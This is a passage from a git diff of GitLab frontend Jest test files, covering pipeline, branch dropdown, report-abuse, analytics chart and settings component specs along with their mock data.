- await findRefsDropdownItems().at(selectedIndex).vm.$emit('click');
- });
-
- it('component emits @input', () => {
- const inputs = wrapper.emitted('input');
-
- expect(inputs).toHaveLength(1);
- expect(inputs[0]).toEqual([{ shortName: 'branch-1', fullName: 'refs/heads/branch-1' }]);
- });
- });
-
- describe('when user types searches for a tag', () => {
- const mockSearchTerm = 'my-search';
-
- beforeEach(async () => {
- mock
- .onGet(projectRefsEndpoint, { params: { search: mockSearchTerm } })
- .reply(httpStatusCodes.OK, mockFilteredRefs);
-
- await findSearchBox().vm.$emit('input', mockSearchTerm);
- await waitForPromises();
- });
-
- it('requests filtered tags and branches', async () => {
- expect(mock.history.get).toHaveLength(2);
- expect(mock.history.get[1].params).toEqual({
- search: mockSearchTerm,
- });
- });
-
- it('displays dropdown with branches and tags', async () => {
- const filteredRefLength = mockFilteredRefs.Tags.length + mockFilteredRefs.Branches.length;
-
- expect(findRefsDropdownItems()).toHaveLength(filteredRefLength);
- });
- });
- });
-
- describe('when user has selected a value', () => {
- const selectedIndex = 1;
- const mockShortName = mockRefs.Branches[selectedIndex];
- const mockFullName = `refs/heads/${mockShortName}`;
-
- beforeEach(async () => {
- mock
- .onGet(projectRefsEndpoint, {
- params: { ref: mockFullName },
- })
- .reply(httpStatusCodes.OK, mockRefs);
-
- createComponent({
- value: {
- shortName: mockShortName,
- fullName: mockFullName,
- },
- });
- await findDropdown().vm.$emit('show');
- await waitForPromises();
- });
-
- it('branch is checked', () => {
- expect(findRefsDropdownItems().at(selectedIndex).props('isChecked')).toBe(true);
- });
- });
-
- describe('when server returns an error', () => {
- beforeEach(async () => {
- mock
- .onGet(projectRefsEndpoint, { params: { search: '' } })
- .reply(httpStatusCodes.INTERNAL_SERVER_ERROR);
-
- await findDropdown().vm.$emit('show');
- await waitForPromises();
- });
-
- it('loading error event is emitted', () => {
- expect(wrapper.emitted('loadingError')).toHaveLength(1);
- expect(wrapper.emitted('loadingError')[0]).toEqual([expect.any(Error)]);
- });
- });
-});
diff --git a/spec/frontend/pipeline_new/mock_data.js b/spec/frontend/pipeline_new/mock_data.js
deleted file mode 100644
index 2af0ef4d7c4..00000000000
--- a/spec/frontend/pipeline_new/mock_data.js
+++ /dev/null
@@ -1,126 +0,0 @@
-export const mockRefs = {
- Branches: ['main', 'branch-1', 'branch-2'],
- Tags: ['1.0.0', '1.1.0', '1.2.0'],
-};
-
-export const mockFilteredRefs = {
- Branches: ['branch-1'],
- Tags: ['1.0.0', '1.1.0'],
-};
-
-export const mockQueryParams = {
- refParam: 'tag-1',
- variableParams: {
- test_var: 'test_var_val',
- },
- fileParams: {
- test_file: 'test_file_val',
- },
-};
-
-export const mockProjectId = '21';
-
-export const mockPostParams = {
- ref: 'tag-1',
- variables_attributes: [
- { key: 'test_var', secret_value: 'test_var_val', variable_type: 'env_var' },
- { key: 'test_file', secret_value: 'test_file_val', variable_type: 'file' },
- ],
-};
-
-export const mockError = {
- errors: [
- 'test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post',
- ],
- warnings: [
- 'jobs:build1 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
- 'jobs:build2 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
- 'jobs:build3 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
- ],
- total_warnings: 7,
-};
-
-export const mockCreditCardValidationRequiredError = {
- errors: ['Credit card required to be on file in order to create a pipeline'],
- warnings: [],
- total_warnings: 0,
-};
-
-export const mockBranchRefs = ['main', 'dev', 'release'];
-
-export const mockTagRefs = ['1.0.0', '1.1.0', '1.2.0'];
-
-export const mockVariables = [
- {
- uniqueId: 'var-refs/heads/main2',
- variable_type: 'env_var',
- key: 'var_without_value',
- value: '',
- },
- {
- uniqueId: 'var-refs/heads/main3',
- variable_type: 'env_var',
- key: 'var_with_value',
- value: 'test_value',
- },
- { uniqueId: 'var-refs/heads/main4', variable_type: 'env_var', key: '', value: '' },
-];
-
-export const mockYamlVariables = [
- {
- description: 'This is a variable with a value.',
- key: 'VAR_WITH_VALUE',
- value: 'test_value',
- valueOptions: null,
- },
- {
- description: 'This is a variable with a multi-line value.',
- key: 'VAR_WITH_MULTILINE',
- value: `this is
- a multiline value`,
- valueOptions: null,
- },
- {
- description: 'This is a variable with predefined values.',
- key: 'VAR_WITH_OPTIONS',
- value: 'staging',
- valueOptions: ['development', 'staging', 'production'],
- },
-];
-
-export const mockYamlVariablesWithoutDesc = [
- {
- description: 'This is a variable with a value.',
- key: 'VAR_WITH_VALUE',
- value: 'test_value',
- valueOptions: null,
- },
- {
- description: null,
- key: 'VAR_WITH_MULTILINE',
- value: `this is
- a multiline value`,
- valueOptions: null,
- },
- {
- description: null,
- key: 'VAR_WITH_OPTIONS',
- value: 'staging',
- valueOptions: ['development', 'staging', 'production'],
- },
-];
-
-export const mockCiConfigVariablesQueryResponse = (ciConfigVariables) => ({
- data: {
- project: {
- id: 1,
- ciConfigVariables,
- },
- },
-});
-
-export const mockCiConfigVariablesResponse = mockCiConfigVariablesQueryResponse(mockYamlVariables);
-export const mockEmptyCiConfigVariablesResponse = mockCiConfigVariablesQueryResponse([]);
-export const mockCiConfigVariablesResponseWithoutDesc = mockCiConfigVariablesQueryResponse(
- mockYamlVariablesWithoutDesc,
-);
diff --git a/spec/frontend/pipeline_new/utils/filter_variables_spec.js b/spec/frontend/pipeline_new/utils/filter_variables_spec.js
deleted file mode 100644
index 42bc6244456..00000000000
--- a/spec/frontend/pipeline_new/utils/filter_variables_spec.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import filterVariables from '~/pipeline_new/utils/filter_variables';
-import { mockVariables } from '../mock_data';
-
-describe('Filter variables utility function', () => {
- it('filters variables that do not contain a key', () => {
- const expectedVaraibles = [
- {
- variable_type: 'env_var',
- key: 'var_without_value',
- secret_value: '',
- },
- {
- variable_type: 'env_var',
- key: 'var_with_value',
- secret_value: 'test_value',
- },
- ];
-
- expect(filterVariables(mockVariables)).toEqual(expectedVaraibles);
- });
-});
diff --git a/spec/frontend/pipeline_new/utils/format_refs_spec.js b/spec/frontend/pipeline_new/utils/format_refs_spec.js
deleted file mode 100644
index 71190f55c16..00000000000
--- a/spec/frontend/pipeline_new/utils/format_refs_spec.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '~/pipeline_new/constants';
-import formatRefs from '~/pipeline_new/utils/format_refs';
-import { mockBranchRefs, mockTagRefs } from '../mock_data';
-
-describe('Format refs util', () => {
- it('formats branch ref correctly', () => {
- expect(formatRefs(mockBranchRefs, BRANCH_REF_TYPE)).toEqual([
- { fullName: 'refs/heads/main', shortName: 'main' },
- { fullName: 'refs/heads/dev', shortName: 'dev' },
- { fullName: 'refs/heads/release', shortName: 'release' },
- ]);
- });
-
- it('formats tag ref correctly', () => {
- expect(formatRefs(mockTagRefs, TAG_REF_TYPE)).toEqual([
- { fullName: 'refs/tags/1.0.0', shortName: '1.0.0' },
- { fullName: 'refs/tags/1.1.0', shortName: '1.1.0' },
- { fullName: 'refs/tags/1.2.0', shortName: '1.2.0' },
- ]);
- });
-});
diff --git a/spec/frontend/pipeline_wizard/components/wrapper_spec.js b/spec/frontend/pipeline_wizard/components/wrapper_spec.js
index d5b78cebcb3..33c6394eb41 100644
--- a/spec/frontend/pipeline_wizard/components/wrapper_spec.js
+++ b/spec/frontend/pipeline_wizard/components/wrapper_spec.js
@@ -364,6 +364,7 @@ describe('Pipeline Wizard - wrapper.vue', () => {
extra: {
fromStep: 0,
toStep: 1,
+ features: expect.any(Object),
},
});
});
@@ -386,6 +387,7 @@ describe('Pipeline Wizard - wrapper.vue', () => {
extra: {
fromStep: 1,
toStep: 0,
+ features: expect.any(Object),
},
});
});
@@ -409,6 +411,7 @@ describe('Pipeline Wizard - wrapper.vue', () => {
extra: {
fromStep: 2,
toStep: 1,
+ features: expect.any(Object),
},
});
});
@@ -429,6 +432,9 @@ describe('Pipeline Wizard - wrapper.vue', () => {
category: trackingCategory,
label: 'pipeline_wizard_commit',
property: 'commit',
+ extra: {
+ features: expect.any(Object),
+ },
});
});
@@ -443,6 +449,7 @@ describe('Pipeline Wizard - wrapper.vue', () => {
label: 'pipeline_wizard_editor_interaction',
extra: {
currentStep: 0,
+ features: expect.any(Object),
},
});
});
diff --git a/spec/frontend/pipelines/pipelines_spec.js b/spec/frontend/pipelines/pipelines_spec.js
index a3f15e25f36..351572fc83a 100644
--- a/spec/frontend/pipelines/pipelines_spec.js
+++ b/spec/frontend/pipelines/pipelines_spec.js
@@ -71,7 +71,7 @@ describe('Pipelines', () => {
const findTablePagination = () => wrapper.findComponent(TablePagination);
const findTab = (tab) => wrapper.findByTestId(`pipelines-tab-${tab}`);
- const findPipelineKeyDropdown = () => wrapper.findByTestId('pipeline-key-dropdown');
+ const findPipelineKeyCollapsibleBox = () => wrapper.findByTestId('pipeline-key-collapsible-box');
const findRunPipelineButton = () => wrapper.findByTestId('run-pipeline-button');
const findCiLintButton = () => wrapper.findByTestId('ci-lint-button');
const findCleanCacheButton = () => wrapper.findByTestId('clear-cache-button');
@@ -545,8 +545,8 @@ describe('Pipelines', () => {
expect(findFilteredSearch().exists()).toBe(true);
});
- it('renders the pipeline key dropdown', () => {
- expect(findPipelineKeyDropdown().exists()).toBe(true);
+ it('renders the pipeline key collapsible box', () => {
+ expect(findPipelineKeyCollapsibleBox().exists()).toBe(true);
});
it('renders tab empty state finished scope', async () => {
@@ -578,7 +578,7 @@ describe('Pipelines', () => {
});
it('does not render the pipeline key dropdown', () => {
- expect(findPipelineKeyDropdown().exists()).toBe(false);
+ expect(findPipelineKeyCollapsibleBox().exists()).toBe(false);
});
it('does not render tabs nor buttons', () => {
diff --git a/spec/frontend/pipelines/pipelines_table_spec.js b/spec/frontend/pipelines/pipelines_table_spec.js
index 740037a5ac8..9359bd9b95f 100644
--- a/spec/frontend/pipelines/pipelines_table_spec.js
+++ b/spec/frontend/pipelines/pipelines_table_spec.js
@@ -17,7 +17,7 @@ import {
TRACKING_CATEGORIES,
} from '~/pipelines/constants';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
jest.mock('~/pipelines/event_hub');
@@ -50,7 +50,7 @@ describe('Pipelines Table', () => {
};
const findGlTableLite = () => wrapper.findComponent(GlTableLite);
- const findStatusBadge = () => wrapper.findComponent(CiBadge);
+ const findCiBadgeLink = () => wrapper.findComponent(CiBadgeLink);
const findPipelineInfo = () => wrapper.findComponent(PipelineUrl);
const findTriggerer = () => wrapper.findComponent(PipelineTriggerer);
const findPipelineMiniGraph = () => wrapper.findComponent(PipelineMiniGraph);
@@ -97,7 +97,7 @@ describe('Pipelines Table', () => {
describe('status cell', () => {
it('should render a status badge', () => {
- expect(findStatusBadge().exists()).toBe(true);
+ expect(findCiBadgeLink().exists()).toBe(true);
});
});
@@ -171,7 +171,7 @@ describe('Pipelines Table', () => {
});
it('tracks status badge click', () => {
- findStatusBadge().vm.$emit('ciStatusBadgeClick');
+ findCiBadgeLink().vm.$emit('ciStatusBadgeClick');
expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_ci_status_badge', {
label: TRACKING_CATEGORIES.table,
diff --git a/spec/frontend/projects/commit/components/branches_dropdown_spec.js b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
index a84dd246f5d..7334e007e18 100644
--- a/spec/frontend/projects/commit/components/branches_dropdown_spec.js
+++ b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
@@ -1,9 +1,8 @@
-import { GlDropdownItem, GlSearchBoxByType } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import BranchesDropdown from '~/projects/commit/components/branches_dropdown.vue';
Vue.use(Vuex);
@@ -34,12 +33,7 @@ describe('BranchesDropdown', () => {
}),
);
};
-
- const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findSearchBoxByType = () => wrapper.findComponent(GlSearchBoxByType);
- const findDropdownItemByIndex = (index) => wrapper.findAllComponents(GlDropdownItem).at(index);
- const findNoResults = () => wrapper.findByTestId('empty-result-message');
- const findLoading = () => wrapper.findByTestId('dropdown-text-loading-icon');
+ const findDropdown = () => wrapper.findComponent(GlCollapsibleListbox);
afterEach(() => {
wrapper.destroy();
@@ -55,72 +49,6 @@ describe('BranchesDropdown', () => {
it('invokes fetchBranches', () => {
expect(spyFetchBranches).toHaveBeenCalled();
});
-
- describe('with a value but visually blanked', () => {
- beforeEach(() => {
- createComponent({ value: '_main_', blanked: true }, { branch: '_main_' });
- });
-
- it('renders all branches', () => {
- expect(findAllDropdownItems()).toHaveLength(3);
- expect(findDropdownItemByIndex(0).text()).toBe('_main_');
- expect(findDropdownItemByIndex(1).text()).toBe('_branch_1_');
- expect(findDropdownItemByIndex(2).text()).toBe('_branch_2_');
- });
-
- it('selects the active branch', () => {
- expect(wrapper.vm.isSelected('_main_')).toBe(true);
- });
- });
- });
-
- describe('Loading states', () => {
- it('shows loading icon while fetching', () => {
- createComponent({ value: '' }, { isFetching: true });
-
- expect(findLoading().isVisible()).toBe(true);
- });
-
- it('does not show loading icon', () => {
- createComponent({ value: '' });
-
- expect(findLoading().isVisible()).toBe(false);
- });
- });
-
- describe('No branches found', () => {
- beforeEach(() => {
- createComponent({ value: '_non_existent_branch_' });
- });
-
- it('renders empty results message', () => {
- expect(findNoResults().text()).toBe('No matching results');
- });
-
- it('shows GlSearchBoxByType with default attributes', () => {
- expect(findSearchBoxByType().exists()).toBe(true);
- expect(findSearchBoxByType().vm.$attrs).toMatchObject({
- placeholder: 'Search branches',
- debounce: DEFAULT_DEBOUNCE_AND_THROTTLE_MS,
- });
- });
- });
-
- describe('Search term is empty', () => {
- beforeEach(() => {
- createComponent({ value: '' });
- });
-
- it('renders all branches when search term is empty', () => {
- expect(findAllDropdownItems()).toHaveLength(3);
- expect(findDropdownItemByIndex(0).text()).toBe('_main_');
- expect(findDropdownItemByIndex(1).text()).toBe('_branch_1_');
- expect(findDropdownItemByIndex(2).text()).toBe('_branch_2_');
- });
-
- it('should not be selected on the inactive branch', () => {
- expect(wrapper.vm.isSelected('_main_')).toBe(false);
- });
});
describe('When searching', () => {
@@ -131,7 +59,7 @@ describe('BranchesDropdown', () => {
it('invokes fetchBranches', async () => {
const spy = jest.spyOn(wrapper.vm, 'fetchBranches');
- findSearchBoxByType().vm.$emit('input', '_anything_');
+ findDropdown().vm.$emit('search', '_anything_');
await nextTick();
@@ -140,46 +68,13 @@ describe('BranchesDropdown', () => {
});
});
- describe('Branches found', () => {
- beforeEach(() => {
- createComponent({ value: '_branch_1_' }, { branch: '_branch_1_' });
- });
-
- it('renders only the branch searched for', () => {
- expect(findAllDropdownItems()).toHaveLength(1);
- expect(findDropdownItemByIndex(0).text()).toBe('_branch_1_');
- });
-
- it('should not display empty results message', () => {
- expect(findNoResults().exists()).toBe(false);
- });
-
- it('should signify this branch is selected', () => {
- expect(wrapper.vm.isSelected('_branch_1_')).toBe(true);
- });
-
- it('should signify the branch is not selected', () => {
- expect(wrapper.vm.isSelected('_not_selected_branch_')).toBe(false);
- });
-
- describe('Custom events', () => {
- it('should emit selectBranch if an branch is clicked', () => {
- findDropdownItemByIndex(0).vm.$emit('click');
-
- expect(wrapper.emitted('selectBranch')).toEqual([['_branch_1_']]);
- expect(wrapper.vm.searchTerm).toBe('_branch_1_');
- });
- });
- });
-
describe('Case insensitive for search term', () => {
beforeEach(() => {
createComponent({ value: '_BrAnCh_1_' });
});
- it('renders only the branch searched for', () => {
- expect(findAllDropdownItems()).toHaveLength(1);
- expect(findDropdownItemByIndex(0).text()).toBe('_branch_1_');
+ it('returns only the branch searched for', () => {
+ expect(findDropdown().props('items')).toEqual([{ text: '_branch_1_', value: '_branch_1_' }]);
});
});
});
diff --git a/spec/frontend/projects/commit/components/projects_dropdown_spec.js b/spec/frontend/projects/commit/components/projects_dropdown_spec.js
index bb20918e0cd..0e213ff388a 100644
--- a/spec/frontend/projects/commit/components/projects_dropdown_spec.js
+++ b/spec/frontend/projects/commit/components/projects_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdownItem, GlSearchBoxByType } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
@@ -35,78 +35,23 @@ describe('ProjectsDropdown', () => {
);
};
- const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findSearchBoxByType = () => wrapper.findComponent(GlSearchBoxByType);
- const findDropdownItemByIndex = (index) => wrapper.findAllComponents(GlDropdownItem).at(index);
- const findNoResults = () => wrapper.findByTestId('empty-result-message');
+ const findDropdown = () => wrapper.findComponent(GlCollapsibleListbox);
afterEach(() => {
wrapper.destroy();
spyFetchProjects.mockReset();
});
- describe('No projects found', () => {
- beforeEach(() => {
- createComponent('_non_existent_project_');
- });
-
- it('renders empty results message', () => {
- expect(findNoResults().text()).toBe('No matching results');
- });
-
- it('shows GlSearchBoxByType with default attributes', () => {
- expect(findSearchBoxByType().exists()).toBe(true);
- expect(findSearchBoxByType().vm.$attrs).toMatchObject({
- placeholder: 'Search projects',
- });
- });
- });
-
- describe('Search term is empty', () => {
- beforeEach(() => {
- createComponent('');
- });
-
- it('renders all projects when search term is empty', () => {
- expect(findAllDropdownItems()).toHaveLength(3);
- expect(findDropdownItemByIndex(0).text()).toBe('_project_1_');
- expect(findDropdownItemByIndex(1).text()).toBe('_project_2_');
- expect(findDropdownItemByIndex(2).text()).toBe('_project_3_');
- });
-
- it('should not be selected on the inactive project', () => {
- expect(wrapper.vm.isSelected('_project_1_')).toBe(false);
- });
- });
-
describe('Projects found', () => {
beforeEach(() => {
createComponent('_project_1_', { targetProjectId: '1' });
});
- it('renders only the project searched for', () => {
- expect(findAllDropdownItems()).toHaveLength(1);
- expect(findDropdownItemByIndex(0).text()).toBe('_project_1_');
- });
-
- it('should not display empty results message', () => {
- expect(findNoResults().exists()).toBe(false);
- });
-
- it('should signify this project is selected', () => {
- expect(findDropdownItemByIndex(0).props('isChecked')).toBe(true);
- });
-
- it('should signify the project is not selected', () => {
- expect(wrapper.vm.isSelected('_not_selected_project_')).toBe(false);
- });
-
describe('Custom events', () => {
it('should emit selectProject if a project is clicked', () => {
- findDropdownItemByIndex(0).vm.$emit('click');
+ findDropdown().vm.$emit('select', '1');
expect(wrapper.emitted('selectProject')).toEqual([['1']]);
- expect(wrapper.vm.filterTerm).toBe('_project_1_');
});
});
});
@@ -117,8 +62,7 @@ describe('ProjectsDropdown', () => {
});
it('renders only the project searched for', () => {
- expect(findAllDropdownItems()).toHaveLength(1);
- expect(findDropdownItemByIndex(0).text()).toBe('_project_1_');
+ expect(findDropdown().props('items')).toEqual([{ text: '_project_1_', value: '1' }]);
});
});
});
diff --git a/spec/frontend/projects/merge_requests/components/report_abuse_dropdown_item_spec.js b/spec/frontend/projects/merge_requests/components/report_abuse_dropdown_item_spec.js
new file mode 100644
index 00000000000..35b10375821
--- /dev/null
+++ b/spec/frontend/projects/merge_requests/components/report_abuse_dropdown_item_spec.js
@@ -0,0 +1,73 @@
+import { nextTick } from 'vue';
+import { GlDropdownItem } from '@gitlab/ui';
+import { MountingPortal } from 'portal-vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
+import ReportAbuseDropdownItem from '~/projects/merge_requests/components/report_abuse_dropdown_item.vue';
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
+
+describe('ReportAbuseDropdownItem', () => {
+ let wrapper;
+
+ const ACTION_PATH = '/abuse_reports/add_category';
+ const USER_ID = '1';
+ const REPORTED_FROM_URL = 'http://example.com';
+
+ const createComponent = (props) => {
+ wrapper = shallowMountExtended(ReportAbuseDropdownItem, {
+ propsData: {
+ ...props,
+ },
+ provide: {
+ reportAbusePath: ACTION_PATH,
+ reportedUserId: USER_ID,
+ reportedFromUrl: REPORTED_FROM_URL,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ const findReportAbuseItem = () => wrapper.findComponent(GlDropdownItem);
+ const findAbuseCategorySelector = () => wrapper.findComponent(AbuseCategorySelector);
+ const findMountingPortal = () => wrapper.findComponent(MountingPortal);
+
+ it('renders report abuse dropdown item', () => {
+ expect(findReportAbuseItem().text()).toBe(ReportAbuseDropdownItem.i18n.reportAbuse);
+ });
+
+ it('renders abuse category selector with the drawer initially closed', () => {
+ expect(findAbuseCategorySelector().exists()).toBe(true);
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(false);
+ });
+
+ it('renders abuse category selector inside MountingPortal', () => {
+ expect(findMountingPortal().props()).toMatchObject({
+ mountTo: '#js-report-abuse-drawer',
+ append: true,
+ name: 'abuse-category-selector',
+ });
+ });
+
+ describe('when dropdown item is clicked', () => {
+ beforeEach(() => {
+ findReportAbuseItem().vm.$emit('click');
+ return nextTick();
+ });
+
+ it('opens the abuse category selector', () => {
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(true);
+ });
+
+ it('closes the abuse category selector', async () => {
+ findAbuseCategorySelector().vm.$emit('close-drawer');
+
+ await nextTick();
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/projects/pipelines/charts/components/ci_cd_analytics_charts_spec.js b/spec/frontend/projects/pipelines/charts/components/ci_cd_analytics_charts_spec.js
index 8c18d2992ea..cf28eda5349 100644
--- a/spec/frontend/projects/pipelines/charts/components/ci_cd_analytics_charts_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/ci_cd_analytics_charts_spec.js
@@ -5,25 +5,32 @@ import CiCdAnalyticsCharts from '~/vue_shared/components/ci_cd_analytics/ci_cd_a
import SegmentedControlButtonGroup from '~/vue_shared/components/segmented_control_button_group.vue';
import { transformedAreaChartData, chartOptions } from '../mock_data';
+const charts = [
+ {
+ range: 'test range 1',
+ title: 'title 1',
+ data: transformedAreaChartData,
+ },
+ {
+ range: 'test range 2',
+ title: 'title 2',
+ data: transformedAreaChartData,
+ },
+ {
+ range: 'test range 3',
+ title: 'title 3',
+ data: transformedAreaChartData,
+ },
+ {
+ range: 'test range 4',
+ title: 'title 4',
+ data: transformedAreaChartData,
+ },
+];
+
const DEFAULT_PROPS = {
chartOptions,
- charts: [
- {
- range: 'test range 1',
- title: 'title 1',
- data: transformedAreaChartData,
- },
- {
- range: 'test range 2',
- title: 'title 2',
- data: transformedAreaChartData,
- },
- {
- range: 'test range 3',
- title: 'title 3',
- data: transformedAreaChartData,
- },
- ],
+ charts,
};
describe('~/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue', () => {
@@ -55,13 +62,13 @@ describe('~/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue', (
wrapper = createWrapper();
});
- it('should default to the first chart', () => {
- expect(findSegmentedControl().props('value')).toBe(0);
+ it('should default to the 3rd chart (last 90 days)', () => {
+ expect(findSegmentedControl().props('value')).toBe(2);
});
it('should use the title and index as values', () => {
const options = findSegmentedControl().props('options');
- expect(options).toHaveLength(3);
+ expect(options).toHaveLength(charts.length);
expect(options).toEqual([
{
text: 'title 1',
@@ -75,6 +82,10 @@ describe('~/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue', (
text: 'title 3',
value: 2,
},
+ {
+ text: 'title 4',
+ value: 3,
+ },
]);
});
diff --git a/spec/frontend/projects/settings/components/default_branch_selector_spec.js b/spec/frontend/projects/settings/components/default_branch_selector_spec.js
index 94648d87524..bfbf3e234f4 100644
--- a/spec/frontend/projects/settings/components/default_branch_selector_spec.js
+++ b/spec/frontend/projects/settings/components/default_branch_selector_spec.js
@@ -32,6 +32,7 @@ describe('projects/settings/components/default_branch_selector', () => {
value: persistedDefaultBranch,
enabledRefTypes: [REF_TYPE_BRANCHES],
projectId,
+ refType: null,
state: true,
translations: {
dropdownHeader: expect.any(String),
diff --git a/spec/frontend/projects/settings/repository/branch_rules/components/branch_rule_spec.js b/spec/frontend/projects/settings/repository/branch_rules/components/branch_rule_spec.js
index 49c45c080b4..8d0fd390e35 100644
--- a/spec/frontend/projects/settings/repository/branch_rules/components/branch_rule_spec.js
+++ b/spec/frontend/projects/settings/repository/branch_rules/components/branch_rule_spec.js
@@ -20,6 +20,7 @@ describe('Branch rule', () => {
};
const findDefaultBadge = () => wrapper.findByText(i18n.defaultLabel);
+ const findProtectedBadge = () => wrapper.findByText(i18n.protectedLabel);
const findBranchName = () => wrapper.findByText(branchRulePropsMock.name);
const findProtectionDetailsList = () => wrapper.findByRole('list');
const findProtectionDetailsListItems = () => wrapper.findAllByRole('listitem');
@@ -32,17 +33,23 @@ describe('Branch rule', () => {
});
describe('badges', () => {
- it('renders default badge', () => {
+ it('renders both default and protected badges', () => {
expect(findDefaultBadge().exists()).toBe(true);
+ expect(findProtectedBadge().exists()).toBe(true);
});
it('does not render default badge if isDefault is set to false', () => {
createComponent({ isDefault: false });
expect(findDefaultBadge().exists()).toBe(false);
});
+
+ it('does not render default badge if branchProtection is null', () => {
+ createComponent(branchRuleWithoutDetailsPropsMock);
+ expect(findProtectedBadge().exists()).toBe(false);
+ });
});
- it('does not render the protection details list if no details are present', () => {
+ it('does not render the protection details list when branchProtection is null', () => {
createComponent(branchRuleWithoutDetailsPropsMock);
expect(findProtectionDetailsList().exists()).toBe(false);
});
diff --git a/spec/frontend/projects/settings/repository/branch_rules/mock_data.js b/spec/frontend/projects/settings/repository/branch_rules/mock_data.js
index 6f506882c36..de7f6c8b88d 100644
--- a/spec/frontend/projects/settings/repository/branch_rules/mock_data.js
+++ b/spec/frontend/projects/settings/repository/branch_rules/mock_data.js
@@ -92,10 +92,7 @@ export const branchRuleWithoutDetailsPropsMock = {
name: 'branch-1',
isDefault: false,
matchingBranchesCount: 1,
- branchProtection: {
- allowForcePush: false,
- codeOwnerApprovalRequired: false,
- },
+ branchProtection: null,
approvalRulesTotal: 0,
statusChecksTotal: 0,
};
diff --git a/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js b/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
index 13f3eea277a..5fc9f9ba629 100644
--- a/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
+++ b/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
@@ -3,7 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import ServiceDeskRoot from '~/projects/settings_service_desk/components/service_desk_root.vue';
import ServiceDeskSetting from '~/projects/settings_service_desk/components/service_desk_setting.vue';
@@ -95,7 +95,7 @@ describe('ServiceDeskRoot', () => {
});
it('sends a request to turn service desk on', () => {
- axiosMock.onPut(provideData.endpoint).replyOnce(httpStatusCodes.OK);
+ axiosMock.onPut(provideData.endpoint).replyOnce(HTTP_STATUS_OK);
expect(spy).toHaveBeenCalledWith(provideData.endpoint, { service_desk_enabled: true });
});
@@ -117,7 +117,7 @@ describe('ServiceDeskRoot', () => {
});
it('sends a request to turn service desk off', () => {
- axiosMock.onPut(provideData.endpoint).replyOnce(httpStatusCodes.OK);
+ axiosMock.onPut(provideData.endpoint).replyOnce(HTTP_STATUS_OK);
expect(spy).toHaveBeenCalledWith(provideData.endpoint, { service_desk_enabled: false });
});
@@ -133,7 +133,7 @@ describe('ServiceDeskRoot', () => {
describe('save event', () => {
describe('successful request', () => {
beforeEach(async () => {
- axiosMock.onPut(provideData.endpoint).replyOnce(httpStatusCodes.OK);
+ axiosMock.onPut(provideData.endpoint).replyOnce(HTTP_STATUS_OK);
wrapper = createComponent();
diff --git a/spec/frontend/read_more_spec.js b/spec/frontend/read_more_spec.js
index 80d7c941660..9eddc50d50a 100644
--- a/spec/frontend/read_more_spec.js
+++ b/spec/frontend/read_more_spec.js
@@ -1,21 +1,23 @@
-import { loadHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
+import { loadHTMLFixture, resetHTMLFixture, setHTMLFixture } from 'helpers/fixtures';
import initReadMore from '~/read_more';
describe('Read more click-to-expand functionality', () => {
const fixtureName = 'projects/overview.html';
- beforeEach(() => {
- loadHTMLFixture(fixtureName);
- });
+ const findTrigger = () => document.querySelector('.js-read-more-trigger');
afterEach(() => {
resetHTMLFixture();
});
describe('expands target element', () => {
+ beforeEach(() => {
+ loadHTMLFixture(fixtureName);
+ });
+
it('adds "is-expanded" class to target element', () => {
const target = document.querySelector('.read-more-container');
- const trigger = document.querySelector('.js-read-more-trigger');
+ const trigger = findTrigger();
initReadMore();
trigger.click();
@@ -23,4 +25,25 @@ describe('Read more click-to-expand functionality', () => {
expect(target.classList.contains('is-expanded')).toEqual(true);
});
});
+
+ describe('given click on nested element', () => {
+ beforeEach(() => {
+ setHTMLFixture(`
+ <p>Target</p>
+ <button type="button" class="js-read-more-trigger">
+ <span>Button text</span>
+ </button>
+ `);
+
+ const trigger = findTrigger();
+ const nestedElement = trigger.firstElementChild;
+ initReadMore();
